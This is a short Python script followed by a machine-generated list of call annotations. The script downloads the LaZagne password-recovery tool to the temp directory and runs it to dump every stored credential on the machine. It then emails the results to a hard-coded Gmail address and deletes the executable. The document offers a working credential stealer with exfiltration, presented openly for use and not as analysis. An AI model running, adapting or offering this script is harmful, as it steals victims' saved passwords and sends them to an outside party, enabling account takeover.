#!/usr/bin/env python3
import requests
import subprocess
import smtplib
import re
import os
import tempfile


def download(url):
    get_response = requests.get(url)
    file_name = url.split("/")[-1]
    with open(file_name, "wb") as f:
        f.write(get_response.content)


def send_mail(email, password, message):
    server = smtplib.SMTP_SSL("smtp.gmail.com", "465")
    server.ehlo()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


temp_dir = tempfile.gettempdir()
os.chdir(temp_dir)
download("https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe")  # LaZagne

result = subprocess.check_output("lazagne.exe all", shell=True)
send_mail("youremail@gmail.com", "yourpassword", result)
os.remove("lazagne.exe")

[((25, 11, 25, 32), 'tempfile.gettempdir', 'tempfile.gettempdir', ({}, {}), '()', False, 'import tempfile\n'), ((26, 0, 26, 18), 'os.chdir', 'os.chdir', ({(26, 9, 26, 17): 'temp_dir'}, {}), '(temp_dir)', False, 'import os\n'), ((29, 9, 29, 63), 'subprocess.check_output', 'subprocess.check_output', (), '', False, 'import subprocess\n'), ((31, 0, 31, 24), 'os.remove', 'os.remove', ({(31, 10, 31, 23): '"""lazagne.exe"""'}, {}), "('lazagne.exe')", False, 'import os\n'), ((11, 19, 11, 36), 'requests.get', 'requests.get', ({(11, 32, 11, 35): 'url'}, {}), '(url)', False, 'import requests\n'), ((18, 13, 18, 54), 'smtplib.SMTP_SSL', 'smtplib.SMTP_SSL', ({(18, 30, 18, 46): '"""smtp.gmail.com"""', (18, 48, 18, 53): '"""465"""'}, {}), "('smtp.gmail.com', '465')", False, 'import smtplib\n')]